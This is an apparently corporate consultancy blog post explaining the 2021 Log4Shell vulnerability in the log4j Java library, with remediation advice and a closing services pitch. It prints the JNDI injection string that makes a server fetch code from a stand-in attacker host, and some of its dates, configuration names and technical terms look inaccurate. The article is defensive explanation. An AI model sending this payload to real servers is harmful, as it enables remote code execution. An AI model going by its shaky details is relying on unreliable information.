Organization

Agile Transformation

Definition

Services

Agile Trainings

Change Management

New Work

Strategy Consulting

Transformation

Product Management

Innovation & Technology

Requirements Management

Definition

Services

Cybersecurity

Definition

Services

Diagnosis

Definition

Services

Human Factors

Safety

Definition

Services

Systems Engineering

Testmanagement

Process Consulting

Automotive SPICE

Business Process Management

Lean Management

Project Consulting & Implementation

Automotive SPICE & Agile

Agile Project Management

Project Management

Production and Quality Management

Supply Chain Management & Logistics

Digital

Homepage

Our Services

BI / BO

Cloud Architecture

Customer Experience

Digitize and Transform Your Operations

Innovation

Log4j becomes “Log4Shell” – are you aware of the danger for your company?

Dec 31, 2021 | Cybersecurity, Digital

Zero-day vulnerability – CVE-2021-44228 keeps enterprises and end users on edge.

How a library supporting program monitoring overshadows a quiet turn of the year.

“I’m afraid I have to go on the log4j crisis call,” is often said these days. The security vulnerability in the Java library log4j that became known on 11/24/2021 holds the world on breath.

In this article, we briefly highlight the log4j exploit, which has become known as Log4Shell and is currently compromising various IT systems.

What is log4j?

Log4j is an open-source logging library for logging messages within a software application. In software development, logs play an important role in making the behavior of software traceable. Developers can use the logs to determine what actions were performed, what inputs the user made, and what actions or errors resulted.

What is the vulnerability of log4j?

Conventional logging functions only store the information defined by the developer into the logfile. Log4j supports the developer with a framework of predefined error classes (see example in Figur 1)

cybersecurity tagueri log entry log4j

In addition, log4j offers the possibility to dynamically reload user input and software code in case of an error, so that various errors can be reacted to at program runtime. It is exactly this feature that leads to the discovered vulnerability. By default, this feature is enabled in the log4j library configuration. The log4j exploit takes advantage of this feature, allowing an attacker to reload and execute custom program code on the target system (see Figure 2).

This attack method can be compared to the SQL injection, which has been known for a long time and occurs frequently, in which program sequences can be manipulated by actions in user input fields.

Figure 2:

cybersecurity tagueri scalian log4j

The following steps are performed by an attacker to exploit the vulnerability (Abbildung 2) to exploit:

  • The attacker sends an HTTP request with the string ${jndi:ldap://attackserver.com/a} to the target server.
  • Logging of the attacker request including the attack string ${jndi:ldap://attackserver.com/a} takes place on the target server.
  • Then the logged string is processed by log4j and parsed to ldap://attackserver.com/a ­as a command.
  • The command leads to the connection of the target server with the attacker server via the logged URL within the attackserver.com/a call.
  • The response will allow exploitation of the vulnerability (data theft, malware installation, etc.).

Why is the discovered vulnerability in log4j so dangerous?

Log4j enables an attacker to perform a so-called Remote Method Invocation (RMI) on the target system. This causes potentially malicious program code to be executed on the attacked target system by a third-party attack server. This compromises the attacked system. Various scenarios are conceivable, ranging from data theft to built-in backdoors for permanent system control.

The German Federal Office for Information Security (BSI) classifies the disclosed vulnerability with the highest IT threat level “4 – extremely critical”.

Since log4j is a framework developed and deployed in 2003, various systems from different industries are affected. Any Java-based software is potentially at risk. In many cases, there is no central knowledge about the use of log4j in the deployed software, which makes an elaborate audit necessary. Usually, it is unknown how many and also where log4j is used. In addition, it is currently generally unknown which attack possibilities can be exploited with the help of the vulnerability. Users of log4j usually do not know exactly where logs are created and how they endanger the system landscape.

Due to the widespread use of Java as a programming language for application development and its use in many software products, many systems are affected by the disclosed vulnerability.

What should be done now to limit the damage and close the vulnerability?

There are several ways to fix the security vulnerability in systems with the log4j library that was officially reported as patched on December 6, 2021. The first step is to identify the affected systems. In addition to the identification, a risk assessment is essential. For affected systems, the use of log4j means a potentially critical information security incident. The principle of “confidentiality” is violated according to ISO 27001.

Once identification and risk assessment have been completed, remedial action must be initiated as quickly as possible. There are various options for this:

  • Install latest software updates
  • Check deployed software for updates that close the vulnerability or temporarily take unpatched software out of service.
  • Update configuration and stop using log4j or temporarily disable partial functions (e.g. enableJndiLookup=false).
  • Check and adjust firewall settings so that potentially dangerous requests (HTTP requests) are filtered.

In general, this incident once again clearly demonstrates the need for timely incident prevention (IP) and, above all, efficient incident response (IR) measures for digital infrastructure.

What do we learn from this security incident?

The use of open source and other supplied software components can create security vulnerabilities. It is therefore more important than ever that these artifacts are also thoroughly checked for security (incident prevention measures) so that the integrity of the entire software is not undermined undetected.

Documentation and tracking by means of a software bill of materials (SBOM) and automated checking of supplied software can rule out this type of vulnerability. In addition, active monitoring of the system landscape leads to early detection of potential attacks. For example, increased data rates or missing follow-up commands ($set echo off) can be identified.

Under these circumstances, a cleanly documented and monitored software landscape and traceable processes represent a decisive advantage for your company.

In addition to good prevention measures, a functioning incident response management (IRM) with a competent product security incident response team (PSIRT) is a decisive competitive advantage for companies in the digital age. Today, a living cybersecurity culture and the necessary cybersecurity awareness within the company are essential for survival in the market.

It is important that your cybersecurity follows a holistic plan. This can be developed and implemented, for example, using a classic Information Security Management System (ISMS) based on the ISO 270xx family.

We offer you the whole range of security instruments from code reviews of your software products, quick checks of your organization, awareness training of your employees, to penetration testing of your servers and IT landscape and support you in the implementation of your individual holistic cybersecurity plan.

Together we can master the future!

Written by:

Aaron Machmer
Contact

Pin It on Pinterest

Share This